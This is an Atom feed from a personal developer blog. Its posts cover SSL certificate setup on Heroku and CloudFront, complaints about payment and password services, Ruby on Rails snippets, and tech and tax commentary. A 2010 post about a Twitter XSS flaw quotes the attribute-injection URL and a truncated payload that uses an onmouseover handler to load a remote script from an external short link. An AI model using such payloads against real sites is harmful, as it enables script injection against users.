<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
 
 <title>Inspired? No</title>
 <link href="http://blog.inspired.no/feed/" rel="self"/>
 <link href="http://blog.inspired.no/"/>
 <updated>2024-07-19T15:35:14+02:00</updated>
 <id>http://blog.inspired.no/</id>
 <author>
   <name>Espen Antonsen</name>
   <email>espen@inspired.no</email>
 </author>

 
 <entry>
   <title>Wildcard SSL-certificate on Heroku and CloudFront</title>
   <link href="http://blog.inspired.no/wildcard-ssl-cert-heroku-cloudfront/"/>
   <updated>2021-05-26T14:39:00+02:00</updated>
   <id>http://blog.inspired.no/wildcard-ssl-cert-heroku-cloudfront/</id>
   <content type="html">&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Purchase SSL.&lt;br /&gt;
  I use Comodo PositiveSSL Wildcard from &lt;a href=&quot;https://www.ssls.com&quot;&gt;SSLs&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Activate certificate&lt;br /&gt;
  Generate private key: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl genrsa -aes256 -out server.pass.key 2048&lt;/code&gt;&lt;br /&gt;
  While you can use a 4096 key on Heroku the max key length on CloudFront is 2048.&lt;br /&gt;
  Save passphrase to password manager.&lt;br /&gt;
  Strip away password: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl rsa -in server.pass.key -out server.key&lt;/code&gt;&lt;br /&gt;
  Generate CSR: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl req -nodes -new -key server.key -out server.csr&lt;/code&gt;&lt;br /&gt;
 FQDN: *.example.org&lt;br /&gt;
 Challenge password: only digits and letters&lt;br /&gt;
  Save challenge password to password manager&lt;br /&gt;
  Enter CSR at SSL reseller: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat server.csr|pbcopy&lt;/code&gt;&lt;br /&gt;
  Approve via link in received email.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Receive certificate by email&lt;br /&gt;
  Comodo:&lt;br /&gt;
 Unzip&lt;br /&gt;
  RapidSSL:&lt;br /&gt;
 Save webserver.crt: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pbpaste &amp;gt; webserver.crt&lt;/code&gt;&lt;br /&gt;
 Save intermediate: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pbpaste &amp;gt; intermediate_ca.crt&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Create SSL certificate&lt;br /&gt;
  Comodo:&lt;br /&gt;
 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cp STAR_example_org.ca-bundle bundle.crt&lt;/code&gt;&lt;br /&gt;
 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat STAR_example_org.crt bundle.crt &amp;gt; ssl.crt&lt;/code&gt;&lt;br /&gt;
  RapidSSL:&lt;br /&gt;
 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cp webserver.crt ssl.crt&lt;/code&gt;&lt;br /&gt;
 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat intermediate_ca.crt &amp;gt;&amp;gt; ssl.crt&lt;/code&gt;&lt;br /&gt;
  Verify cert is generated correctly: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl x509 -in ssl.crt -text -noout&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Update Heroku certificate&lt;br /&gt;
  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;heroku certs:update ssl.crt server.key -a your-app&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Create new CloudFront certificate&lt;br /&gt;
  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aws iam upload-server-certificate --server-certificate-name new_star.example.org --certificate-body file://STAR_example_org.crt --private-key file://server.key --certificate-chain file://bundle.crt --path /cloudfront/&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Update references from CloudFront distributions to new CloudFront certificate&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Delete old CloudFront certificate&lt;br /&gt;
  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aws iam delete-server-certificate --server-certificate-name star.example.org&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Rename new CloudFront certificate&lt;br /&gt;
  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aws iam update-server-certificate --server-certificate-name new_star.example.org --new-server-certificate-name star.example.org&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Delete certificate emails.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Save all files to password manager and delete them on disk.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Be silent customer</title>
   <link href="http://blog.inspired.no/be-silent-customer/"/>
   <updated>2013-11-15T00:00:00+01:00</updated>
   <id>http://blog.inspired.no/be-silent-customer/</id>
   <content type="html">&lt;p&gt;&lt;strong&gt;I tweeted about password being sent in clear text from Adyen (a payment service provider). They called me up and told me I could not be a customer since I tarnished their reputation.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I have been looking for a good payment service provider for a while now. My startup &lt;a href=&quot;http://www.makeplans.net/&quot;&gt;MakePlans&lt;/a&gt; has many small customers so a pay-as-you-go pricing model was a requiment in addition to good APIs. Basically I want to use &lt;a href=&quot;http://www.stripe.com/&quot;&gt;Stripe&lt;/a&gt; but they are not yet available in Norway.&lt;/p&gt;

&lt;p&gt;So I stumpled upon a provider called &lt;a href=&quot;http://www.adyen.com/&quot;&gt;Adyen&lt;/a&gt;. Their API &lt;a href=&quot;https://support.adyen.com/index.php?/Knowledgebase/Article/View/2102/101&quot;&gt;documentation is in a PDF&lt;/a&gt;, parts of which you have to ask for via email. They mainly use SOAP but also have a REST API. There are no libraries, few code examples and their &lt;a href=&quot;https://github.com/adyenpayments&quot;&gt;GitHub account&lt;/a&gt; has very little activity. I should have seen the warning signs there. The typical non-developer way of doing what is in practice a IT-based implementation. The very reason why I have been waiting for Stripe and looking at &lt;a href=&quot;https://www.braintreepayments.com/&quot;&gt;Braintree&lt;/a&gt; (unfortuantely they introduced a €100/month requirement).&lt;/p&gt;

&lt;p&gt;I talked to a contact person at Adyen who was very nice and was willing to decrease their usual requirements of 1000 transactstions per month to 100 for our clients who are small hairdressing salons and doctor offices (so new to e-commerce and will be doing small volumes). Their pricing was also very good (much cheaper than Stripe). So I decided to implement a simple prototype. The signup process for a test account is not a form on their website as you would expect but instead you have to give details via email. Ok so I did so. Then I received an automated email with username and password for the account in clear text in the email. Now if this was a dating site I would be dissapointed with such a practice. But for a payment provider who shall secure online payments and store credit card details it is a big warning sign with how they have secured their application when they send credentials via email. So what did I do? Well I tweeted about it off course.&lt;/p&gt;

&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p&gt;Testing Adyen as a payment gateway and they send me password via email and cc to my contact person there. Great start!&lt;/p&gt;&amp;mdash; Espen Antonsen (@Espen_Antonsen) &lt;a href=&quot;https://twitter.com/Espen_Antonsen/statuses/400627515276165120&quot;&gt;November 13, 2013&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async=&quot;&quot; src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

&lt;p&gt;Then I received an email from my contact who wanted to have a chat about the Twitter conversation (I also was in contact with their support on Twitter and I assumed he was referring to that). &lt;strong&gt;During the call I was told that the management was not happy with my tweet and did not want customers to express their opinions on Twitter but instead contact them directly. My tweet was damaging to their reputation and they did not want me as a customer.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I assume there are old men from the finance industry involved in this decision but I also assumed even they were aware of the norm and power of social media these days. If customers, or potential customer in this case, are unhappy they will tell people on Twitter or Facebook. And to deny a customer because of expressing an opinion on Twitter? Perhaps these guys should move to North Korea and continue their business there? To top it off, in this case it was not some shit-throwing rambling but rather pointing out a practice that is considered unsecure by anyone who has knowledge about building secure web-applications (btw we just implemented &lt;a href=&quot;https://tools.ietf.org/html/rfc6238&quot;&gt;two-factor authentication&lt;/a&gt; in MakePlans, perhaps that is something you should spend your time on instead of discussing ‘negative’ tweets Adyen). The email was also cc’ed to my contact person at Adyen who should not see my password. Nobody should.&lt;/p&gt;

&lt;p&gt;As an added bonus here is a screenshot of their back-end administration. Hello 1999.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/adyen_admin.png&quot; /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>How not to treat passwords</title>
   <link href="http://blog.inspired.no/how-not-to-treat-passwords/"/>
   <updated>2012-07-14T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/how-not-to-treat-passwords/</id>
   <content type="html">&lt;p&gt;I have been using &lt;a href=&quot;http://dashlane.com/&quot;&gt;Dashlane&lt;/a&gt; as a password manager as I though &lt;a href=&quot;https://agilebits.com/onepassword&quot;&gt;1Password&lt;/a&gt; was a bit too pricey given there are many half-decent free alternatives.&lt;/p&gt;

&lt;p&gt;Saving new accounts and authenticating automatically worked really well with Dashlane. I would say it is even smoother than 1Password. There were however instant turn-offs. Passwords are very obviously very important. When dealing with passwords you probably don’t want to use humour or other simpler ways of interacting with your application or the way you market your product. Dashlane has other thoughts. They use gamification heavily in their application. To unlock features you need to annoy your friends on Twitter or Facebook about their application. And it continuously asks you to get more points by filling out the profile and other tasks. This behaviour should have resulted in an uninstall for me but as it was free and every day usage of logins were working well so I continued using it. Not a good idea.&lt;/p&gt;

&lt;p&gt;I had also installed their iPhone-app. It is a horrible piece of software as was their Safari extension until very recently, using 100% cpu on my MacBook. The iPhone-app would take about 5 minutes to decrypt data. This occurred on every launch. So unusable. Thus I decided to delete it and to delete all my data that they had stored on their servers, as sync goes through their server. Data is also available by logging in on their website. So I sent a request to support: “Can you please delete my account and delete all my data.”.&lt;/p&gt;

&lt;p&gt;They did. And then I was going to use Dashlane on OSX and my data was gone. Dashlane promotes sync as an added feature and something to be enabled from the local application. It does not seem to be a key core part of how the service operate, but it is. In fact the local account is based on the account on the server and &lt;strong&gt;Dashlane has a kill switch to the local data&lt;/strong&gt;. That is not the way to treat passwords. And there is no way to get it back. They have &lt;strong&gt;no backups locally&lt;/strong&gt; (1Password does a backup every day and keeps it for 30 days).&lt;/p&gt;

&lt;p&gt;Also, funny how using a password manager that is supposed to securely save all my passwords and not have me think about them anymore led me to &lt;strong&gt;lose all my passwords&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Lesson learned again: “If you are not paying for it; You’re the product”&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Fuck you, let me pay you</title>
   <link href="http://blog.inspired.no/fuck-you-let-me-pay-you/"/>
   <updated>2012-04-12T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/fuck-you-let-me-pay-you/</id>
   <content type="html">&lt;p&gt;For my online scheduling and appointment booking application &lt;a href=&quot;http://makeplans.no&quot;&gt;MakePlans&lt;/a&gt; I have implemented SMS reminders. So if you book with a hairdresser you will get a SMS the day before your appointment reminding you about your reservation. This is helpful for the customer and helps businesses reduce no-shows. After some research I ended up using &lt;a href=&quot;http://clickatell.com&quot;&gt;Clickatell&lt;/a&gt; as a provider mainly due to their flexible prepaid pay as you go pricing. Other alternatives required a registration fee as well as a fixed monthly fee. But this was a couple of years ago and now there are some new players in the market offering very cheap SMS, most notably &lt;a href=&quot;http://twilio.com&quot;&gt;Twilio&lt;/a&gt; and &lt;a href=&quot;http://tropo.com&quot;&gt;Tropo&lt;/a&gt;. Unfortunately neither of them were able to fully support international messages or specify a custom sender-id. So I had to continue using Clickatell and top-up my account with some credits. Easier said than done. After entering my details and amount to be paid I was presented with the the error “declined payment”. After trying to pay with both my MasterCard and Visa card I suspected something was wrong on their end and contacted support. And this was the respond I received:&lt;/p&gt;

&lt;blockquote&gt;&quot;Dear Espen,  Thank you for contacting Clickatell.   Your card is being declined by our payment gateway as the originating IP Address for the payment does not match up to the card&apos;s country of issue.   Kindly place a payment within the country of issue in order for your card to be accepted.&quot;&lt;/blockquote&gt;

&lt;p&gt;I am from Norway but have lived in Kuala Lumpur for a year. Obviously flying back to Norway to pay $100 to send a few text messages was not option. I replied to Clickatell saying so and received this reply:&lt;/p&gt;

&lt;blockquote&gt;&quot;We need to see a recent bank statement for the credit card used for your latest transaction.   The following information has to be visible on the statement:  The name and address of the card holder,  The last four numbers on the credit card,  The name of the bank...&quot;&lt;/blockquote&gt;

&lt;p&gt;I am not really interested in contacting my bank to get a bank statement just to pay a supplier.&lt;/p&gt;

&lt;p&gt;As a developer who travels a lot I find this policy customer hostile, puzzling and outdated. While I do understand Clickatell needs to protect themselves from credit card fraud this is not the way to do it.&lt;/p&gt;

&lt;p&gt;So what happened after this? Well I did some further research on alternative providers and it seems a found a great one. &lt;a href=&quot;http://hoiio.com&quot;&gt;Hoiio&lt;/a&gt; is similar to Twilio but in addition to low costs and a sensible API they can deliver to most countries and specify sender-id in messages. They are based in Singapore and while signing up for a trial at 10pm local time on a Sunday night I emailed support with a question. Just minutes later I receive a reply from the API lead developer. I’m switching.&lt;/p&gt;

&lt;p&gt;&lt;small&gt;Post title inspired by &lt;a href=&quot;http://vimeo.com/22053820&quot;&gt;Mike Monteiro&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>XSS vulnerability on twitter.com</title>
   <link href="http://blog.inspired.no/xss-vulnerability-on-twitter-com-760/"/>
   <updated>2010-09-21T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/xss-vulnerability-on-twitter-com-760/</id>
   <content type="html">&lt;p&gt;So &lt;a href=&quot;http://twitter.com/judofyr&quot;&gt;Judofyr&lt;/a&gt; found a XSS-exploit on Twitter.com and within minutes it spreaded like wildfire. His &lt;a href=&quot;http://twitter.com/judofyr/status/25107775626&quot;&gt;original tweet just set the anchor background color to black&lt;/a&gt; but his next tweet included onmouseover and people could not stop moving the mouse over the tweet resulting in over 40000 tweets within 10 minutes.&lt;/p&gt;

&lt;p&gt;The exploit:
&lt;code&gt;
http://judofyr.net/@&quot;style=&quot;background:#000;color:#000;/
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://img.skitch.com/20100921-xeag5mqg1dyy7efb57hgctp78a.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So Twitter does not encode the URL and whatever is after the @ gets included in the anchor. So css and javascript can be included.&lt;/p&gt;

&lt;p&gt;Shortly after someone else created a more &lt;a href=&quot;http://search.twitter.com/search?q=getScript&quot;&gt;evil approach&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;
http://t.co/@&quot;style=&quot;font-size:999999999999px;&quot;onmouseover=&quot;$.getScript(&apos;http:\u002f\u002fis.gd\u002ffl9A ...
&lt;/code&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Rails photo gallery Balder on Heroku and S3</title>
   <link href="http://blog.inspired.no/rails-photo-gallery-balder-on-heroku-and-s3-726/"/>
   <updated>2010-09-03T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/rails-photo-gallery-balder-on-heroku-and-s3-726/</id>
   <content type="html">&lt;p&gt;A while ago I published a &lt;a href=&quot;http://blog.inspired.no/balder-open-source-photo-gallery-built-with-ruby-on-rails-693&quot;&gt;open source photo gallery built with Ruby on Rails&lt;/a&gt;. You can find more info on &lt;a href=&quot;http://balderapp.com&quot;&gt;balderapp.com&lt;/a&gt; or on the &lt;a href=&quot;http://github.com/espen/balder&quot;&gt;GitHub repository&lt;/a&gt;. I have now updated this to a new version which supports S3 storage and so it can run off Heroku (which has no file storage, just a database). Heroku is a really nice free hosted ruby platform and it is very easy to put up simple apps on it as this blog post will demonstrate. Just sign up for Heroku and S3 and type of a few commands in terminal and you are ready to go!&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://aws.amazon.com/s3/&quot;&gt;create S3 account&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://heroku.com/&quot;&gt;create heroku account&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;open terminal&lt;/p&gt;

&lt;p&gt;git clone git@github.com:espen/balder.git&lt;/p&gt;

&lt;p&gt;cd balder&lt;/p&gt;

&lt;p&gt;Edit config/balder.rb: uncomment heroku &amp;amp; s3 settings. Insert your S3 credentials.&lt;/p&gt;

&lt;p&gt;git commit -a -m ‘settings’&lt;/p&gt;

&lt;p&gt;sudo gem install heroku&lt;/p&gt;

&lt;p&gt;heroku create APPNAME&lt;/p&gt;

&lt;p&gt;git push heroku master&lt;/p&gt;

&lt;p&gt;heroku rake db:migrate&lt;/p&gt;

&lt;p&gt;heroku open&lt;/p&gt;

&lt;p&gt;enjoy&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Why Rule.fm sucks</title>
   <link href="http://blog.inspired.no/why-rule-fm-sucks-735/"/>
   <updated>2010-07-13T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/why-rule-fm-sucks-735/</id>
   <content type="html">&lt;p&gt;&lt;a href=&quot;http://blog.inspired.no/why-basecamp-sucks-222&quot;&gt;Comments on my blog post about 37Signals’ Basecamp&lt;/a&gt;
&lt;a href=&quot;http://blog.inspired.no/wp-content/uploads/2010/07/rulefmspam11.png&quot;&gt;&lt;img src=&quot;http://blog.inspired.no/wp-content/uploads/2010/07/rulefmspam11.png&quot; alt=&quot;&quot; title=&quot;rulefmspam1&quot; width=&quot;534&quot; height=&quot;337&quot; class=&quot;alignleft size-full wp-image-749&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://blog.inspired.no/wp-content/uploads/2010/07/rulefmspam21.png&quot;&gt;&lt;img src=&quot;http://blog.inspired.no/wp-content/uploads/2010/07/rulefmspam21.png&quot; alt=&quot;&quot; title=&quot;rulefmspam2&quot; width=&quot;538&quot; height=&quot;256&quot; class=&quot;alignleft size-full wp-image-750&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Dare I say rolling the wrong way?</title>
   <link href="http://blog.inspired.no/dare-i-say-rolling-the-wrong-way-731/"/>
   <updated>2010-06-10T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/dare-i-say-rolling-the-wrong-way-731/</id>
   <content type="html">&lt;p&gt;It’s a few short days after the &lt;a href=&quot;http://events.apple.com.edgesuite.net/1006ad9g4hjk/event/index.html&quot;&gt;keynote&lt;/a&gt;, and what strikes me is that we haven’t seen what &lt;a href=&quot;http://daringfireball.net/2010/06/one_year&quot;&gt;Gruber promised us&lt;/a&gt;. No never-before-seen features in OS4. No new Apple TV (Ok, so he was right about the iPhone HD and Safari extension API with Reader).&lt;/p&gt;

&lt;p&gt;It was one hell of a post.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>FacePalm</title>
   <link href="http://blog.inspired.no/facepalm-729/"/>
   <updated>2010-06-08T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/facepalm-729/</id>
   <content type="html">&lt;p&gt;The future is here according to Steve Jobs. Maybe he should tell Pixar to make “Back to the Future 4” cause there sure were a lot of “time travellers” who tried video-calling five years ago.&lt;/p&gt;

&lt;p&gt;Video calling is fun. Once. Then you never use it again. Im surprised Apple is pushing &lt;a href=&quot;http://www.apple.com/iphone/features/facetime.html#facetime-video&quot;&gt;FaceTime&lt;/a&gt; the way they are. This is definitevely not a techincal revolution. But neither was the iPod. We had mp3-players before. But the iPod made it easy to listen to music on the go. My old Nokia 3G-phone had the same “video-call” button as the iPhone 4 has. So Apple is not making it easier. It was easy, but not useful. I don’t see how this will change everything. Again.&lt;/p&gt;

&lt;p&gt;At first I laughed at this being WiFi-only even though Steve Jobs said they were working with carriers to support it on (I really wish he would just say AT&amp;amp;T instead of carriers though. Carriers over here in Norway have no problem with 3G video-calls or tethering.) I’m no expert on telecom specifications but I believe the video-calling is part of the 3G-standard. That’s why it works on all types of phones. So why is not Apple using this? Cause it is 3G-only. Apple wants video calling to be ubiquitous: phone to phone, phone to computer, iPad to computer. If Apple had chosen to use the 3G-standard video-calling then it would have only worked from iPhone 4 to all other 3G phones, not to other devices over the net. So is Apple going after some of Skype’s market here? For many video calling is the entry to Skype. Then they continue to use it and pay for skype to phone.&lt;/p&gt;

&lt;p&gt;With this new standard they are making public, Apple must wait until other phones support it. That surely hinders the success of this feature. Even if people suddenly start to make video calls, how many people can you call with your iPhone 4 within the first year?&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Prioritize database search results with Searchlogic (Ruby on Rails)</title>
   <link href="http://blog.inspired.no/prioritize-search-results-with-searchlogic-ruby-on-rails-723/"/>
   <updated>2010-03-04T00:00:00+01:00</updated>
   <id>http://blog.inspired.no/prioritize-search-results-with-searchlogic-ruby-on-rails-723/</id>
   <content type="html">&lt;p&gt;This is why I love ruby. With one simple line I can &lt;a href=&quot;http://ruby-doc.org/core/classes/Array.html#M002209&quot;&gt;combine two arrays&lt;/a&gt; and &lt;a href=&quot;http://ruby-doc.org/core/classes/Array.html#M002214&quot;&gt;filter out duplicates&lt;/a&gt;. Here I have used &lt;a href=&quot;http://github.com/binarylogic/searchlogic&quot;&gt;Searchlogic&lt;/a&gt; which provides a simple ruby syntax for creating SQL queries. This will execute two SQL queries to the database and combine both resultset but the first query will be presented before the latter. My goal was to search for one parameter in a range of fields, but I wanted to prioritize those results where the paramater exists in more important columns such as name and title. If the parameter is found in columns like description it will be presented at the end of the combined resultset.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;def self.search(search)
return (self.firstname_or_lastname_or_area_or_title_like(search) + self.bio_or_description_like(search) ).uniq
end&lt;/code&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Get Flickr Id and display photos with Hpricot in Ruby on Rails</title>
   <link href="http://blog.inspired.no/get-flickr-id-and-display-photos-with-hpricot-in-ruby-on-rails-718/"/>
   <updated>2010-02-26T00:00:00+01:00</updated>
   <id>http://blog.inspired.no/get-flickr-id-and-display-photos-with-hpricot-in-ruby-on-rails-718/</id>
   <content type="html">&lt;p&gt;To utilize the &lt;a href=&quot;http://www.flickr.com/services/api/&quot;&gt;Flickr API&lt;/a&gt; you need the Flickr Id not the Flickr username. I have not found a method for finding the Flickr Id based on username in the Flickr API, so I have created a simple scaping method that find a hidden form field in the Flickr profile for a specified user.&lt;/p&gt;

&lt;p&gt;This code assumes you have a model with attributes ‘flickr’ (flickr username) and ‘flickr_id’. It will trigger whenever ‘flickr’ is updated and then set ‘flickr_id’.&lt;/p&gt;

&lt;p&gt;First you need the &lt;a href=&quot;http://github.com/hpricot/hpricot&quot;&gt;Hpricot gem&lt;/a&gt;: sudo gem install hpricot&lt;/p&gt;

&lt;p&gt;&lt;code&gt;
before_update :flickr_change&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;def flickr_change
if self.flickr_changed?
      require ‘hpricot’
      require ‘open-uri’
      doc = open(“http://www.flickr.com/people/#{self.flickr}/”) { |f| Hpricot(f) }
      f = doc.search(“//input[@name=’w’]”)
      unless f.empty? &amp;amp;&amp;amp; !f.first
        self.flickr_id = f.first.attributes[‘value’]
      else
        self.flickr = nil
        self.flickr_id = nil
        flash[:error] = “Unable to find Flickr username”
        raise “Unable to find Flickr username”
      end
    end&lt;/p&gt;

&lt;p&gt;rescue OpenURI::HTTPError =&amp;gt; e
    puts “The page is not accessible, error #{e}”
    self.flickr = nil
    self.flickr_id = nil
    self.errors.add(:flickr, “not found”)
end
&amp;lt;/code&amp;gt;&lt;/p&gt;

&lt;p&gt;Then in my person_helper I have create a little method that will return a hash with the 10 latest photos. The extras parameter takes a comma seperated value for setting which values to return. I have specified to return the URL for square and small photo sizes. See the &lt;a href=&quot;http://www.flickr.com/services/api/flickr.photos.search.html&quot;&gt;Flickr photo search method in the API&lt;/a&gt; for more info.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;
  def flickr_photos(person)
    require &apos;open-uri&apos;
    doc = open(&quot;http://api.flickr.com/services/rest/?method=flickr.photos.search&amp;amp;api_key=YOUR_API_KEY&amp;amp;user_id=#{person.flickr_id}&amp;amp;per_page=10&amp;amp;extras=url_s,url_sq&quot;) { |f| Hpricot.XML(f) }
    return doc.search(&quot;//photo&quot;).collect{|p| {
        :title =&amp;gt; p.attributes[&quot;title&quot;],
        :url_sq =&amp;gt; p.attributes[&apos;url_sq&apos;],
        :url_s =&amp;gt; p.attributes[&apos;url_s&apos;]
      }
    }
  end
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you prefer Ruby syntax instead of using Hpricot to generate and process requests you could use one of the Flickr gems that are available: &lt;a href=&quot;http://github.com/hanklords/flickraw&quot;&gt;Flickraw&lt;/a&gt; and &lt;a href=&quot;http://github.com/commonthread/flickr_fu&quot;&gt;Flickr_fu&lt;/a&gt;. I had problems installing then when using Ruby 1.9 so I made the small script above instead.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://idgettr.com/&quot;&gt;If you just want to get your own Flickr Id you can use idgettr.com&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The Entrepreneur Tax that Kills Business</title>
   <link href="http://blog.inspired.no/the-entrepreneur-tax-that-kills-business-711/"/>
   <updated>2009-11-20T00:00:00+01:00</updated>
   <id>http://blog.inspired.no/the-entrepreneur-tax-that-kills-business-711/</id>
   <content type="html">&lt;p&gt;&lt;a href=&quot;http://www.cloudave.com/link/the-entrepreneurial-tax-that-kills-business&quot;&gt;This is a cross-post from my contribution at CloudAve.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All governments, including the Norwegian, talk at length about how to stimulate growth among small businesses and the need to focus on innovation. To accomplish their goals various schemes are offered; grants, tax reductions or state backed industry plans. But while other governments try to help small businesses, the Norwegian government at the same time slaps entrepreneurs with hefty taxes. In Norway if you own shares in a company you will be taxed purely based on the ownership and the value of your share. And im not talking about tax from any income you may receive if you are employed at the company, sale of those shares or dividends from those shares (that would be income taxes at 28% for sale of shares and dividends). No; the tax system in Norway includes personal asset taxation based on the value of the company that person own shares in. &lt;strong&gt;So if you own 50% of a $10 million company then you will be taxed 1,1% of that value ($5 million) = $55 000. Yearly.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So picture this: you have a great startup going. Bootstrapped to the max, customers rolling in giving your servers barely any time to rest and your competitors are left stranded. The company share value skyrockets on the stock exchange while the entrepreneurs are eating at McDonald&apos;s because they would rather use the money on new servers instead of nice cars, Russian caviar and French champagne. Then the tax-man arrives. &lt;i&gt;&quot;Well hello there, you owe me a big pile of money&quot;&lt;/i&gt;. The entrepreneur doesn&apos;t really understand this and replies: &lt;i&gt;&quot;but my salary is $3000/month and have not taken out any dividends from the company&quot;&lt;/i&gt;. Mr. tax-man laughs: &lt;i&gt;&quot;Hah, well this is Norway and here you must pay 1,1% asset tax based on the company value, no matter if the company is profitable, has any income at all, or if the current stock value happens to be significantly lower than our tax-claim based on share values from way back last year.&quot;&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;&lt;div&gt;&lt;a href=&quot;https://www.cloudave.com/wp-content/uploads/HLIC/618ba02d1964cc51b6b953e07c060f91.jpg&quot;&gt;&lt;img src=&quot;https://www.cloudave.com/wp-content/uploads/HLIC/618ba02d1964cc51b6b953e07c060f91.jpg&quot; style=&quot;margin: 0px 2px; padding: 5px; width: 316px; height: 241px;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;This is not fiction. Last month I received my tax returns which included an invoice for $6000. Last year I had no income whatsoever as I spent my time &lt;a href=&quot;http://travel.inspired.no/annapurna-circuit-trek&quot;&gt;trekking up in the Himalayas&lt;/a&gt;, snowboarding in Iran, doing &lt;a href=&quot;http://photos.inspired.no/&quot;&gt;yoga by the Ganges and heaps of other stuff during my ten-month trip&lt;/a&gt;. While having a blast I also kept on to my shares in&amp;nbsp;&lt;a href=&quot;http://24SevenOffice.com&quot;&gt;24SevenOffice (ERP/CRM solution which I co-founded)&lt;/a&gt;. And based on the value of the shares (2007 pre-financial crisis)&amp;nbsp;this resulted in my tax fees. So if I wanted to sell some shares to cover my tax fees now that would be at half the price compared to the share value which the tax fee was based on. Either way it is a tax claimed on money I do not own or have earned (at least yet). It might actually be money I will never see if the company goes bust.&lt;/p&gt;

&lt;p&gt;This year I &lt;a href=&quot;http://inspired.no&quot;&gt;started for myself, doing some freelancing&lt;/a&gt; as well as starting a new venture called &lt;a href=&quot;http://makeplans.net&quot;&gt;MakePlans (a booking/reservation system)&lt;/a&gt;. I would like to spend my income from freelancing ensuring continuous development of MakePlans. Also I would like to continue to hold shares in 24SevenOffice. But the result of this entrepreneurial tax is that I either have to get a loan in the bank or sell off some of my shares, possibly even to a competitor or a foreign investor. Which I assume is not what the Norwegian government wants or is beneficial for the software industry here in Norway. And that is the tragedy of this type of taxation. Not that I have to borrow some money to cover my bills, but that it is actually bad for businesses. And that is not good for the government which is not good for the society. Me having to pay this tax has a negative impact on the health system, educational offerings and all other operations from our tax-funded government.&lt;/p&gt;

